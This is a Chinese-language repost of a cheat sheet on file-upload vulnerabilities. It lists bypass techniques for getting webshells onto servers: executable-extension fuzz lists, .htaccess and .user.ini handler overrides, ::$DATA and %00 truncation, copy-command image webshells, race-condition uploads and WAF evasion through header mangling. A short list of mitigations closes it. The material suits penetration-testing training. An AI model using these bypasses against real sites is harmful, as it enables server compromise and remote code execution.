檔案上傳
檔案上傳漏洞是指檔案上傳功能沒有對上傳的檔案做合理嚴謹的過濾，導致用戶可以利用此功能，上傳能被服務端決議執行的檔案，并通過此檔案獲得執行服務端命令的能力，
上傳繞過
型別判斷
常規上傳
前端繞過
使用Burp等抓包工具修改檔案后綴/型別
后端繞過
檔案上傳常見驗證：
- 后綴名，型別，檔案頭等
- 后綴名：黑名單，白名單
- 檔案型別：MTME資訊
- 檔案頭：檔案資料頭部資訊
黑名單繞過
嘗試特殊后綴（可能未過濾完全）
利用Burp fuzz測驗
PHP:
".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml"
JSP：
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml"
ASP：
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
后綴大小寫繞過
躲避黑名單檢測
重寫決議規則
（1）Apache下 非nts版本PHP時：利用.htaccess檔案繞過
條件：LoadModule rewrite_module modules/mod_rewrite.so rewrite模塊為開啟狀態
<IfModule mime_module>
AddHandler php5-script .gif #在當前目錄下，只針對gif檔案會決議成Php代碼執行
SetHandler application/x-httpd-php #在當前目錄下，所有檔案都會被決議成php代碼執行
</IfModule>
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在當前目錄下，如果匹配到evil.gif檔案，則被決議成PHP代碼執行
AddHandler php5-script .gif #在當前目錄下，如果匹配到evil.gif檔案，則被決議成PHP代碼執行
</FilesMatch>
（2）.user.ini
AddType application/x-httpd-php .jpg
將所有后綴為.jpg的檔案作為php檔案決議
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
將所有檔案名包含BaiZe的檔案作為php檔案決議
檔案后綴增加 空格 . _ 嘗試繞過(WIndows下)
一般用于Windows服務器，添加空格躲避黑名單檢測，上傳后系統系統自動去除檔案名中空格，
::$DATA繞過
在Windows的時候如果"檔案名"+"::$DATA" 會把"::$DATA"之后的資料當成檔案流處理,不會檢測后綴名，且保持"::$DATA"之前的檔案名
替換檔案名中敏感詞
一次過濾：可以雙寫繞過
回圈過濾：較為安全
白名單繞過
%00繞過 終止符
%00只針對GET傳參，POST傳參不能識別URL編碼，所以需要在POST內容中進行URL解碼 或 修改Hex值為00
圖片內容及其它
檔案頭檢測
修改檔案頭資訊或使用圖片馬
圖片馬繞過
copy pho.jpg/b+hack.php/a hack.jpg
利用copy命令合成圖片馬，配合決議漏洞執行
二次渲染 條件競爭邏輯繞過（針對先上傳再檢測的web網站）
上傳生成木馬 不斷上傳并嘗試訪問 直到執行成功
file_put_contents('2.php','');
檔案路徑控制
upload/upload-19.php/.
upload/upload-19.php[截斷].jpg
陣列繞過
后端用陣列判斷檔案后綴
可直接上傳對應陣列繞過檢測
黑盒時依次遍歷陣列元素，傳輸規定后綴測驗是否為陣列后綴檢測
編輯器上傳點
關鍵詞：Editor
查版本 找歷史漏洞EXP fuzz
CMS上傳點
CMS識別->歷史漏洞搜集->嘗試利用
其它/CVE
-
檔案包含漏洞
-
檔案決議漏洞
WAF繞過
上傳引數決議
Content-Disposition: 一般可更改
name: 表單引數值，不能更改
filename: 檔案名，可以更改
Content-Type: 檔案MIME,視情況更改
常見繞過
資料溢位-防匹配(·） 檔案名之前大量 垃圾資料+';'
符號變異-防匹配 ' " ; 檔案名引號變換 后加分號 去一個引號
資料截斷-防匹配 %00 ; 換行 / .php%00.jpg x.jpg;.php .php中間換行
重復資料-防匹配（引數多次） 復寫filename等引數 最后一個改為php
檔案上傳修復
-
后瑞驗證：采用服務瑞驗證模式
-
后綴檢測：基于黑名單，白名單過濾
-
MIME檢測：基于上傳自帶型別檢測
-
內容檢測：檔案頭，完整性檢測
-
自帶函式過濾：參考upload-labs函式
-
自定義函式過濾：function check file(){}時
-
防護產品：寶塔，云盾，安全狗等
轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/503016.html
標籤：訊息安全
上一篇：釣魚攻擊第一彈-釋放檔案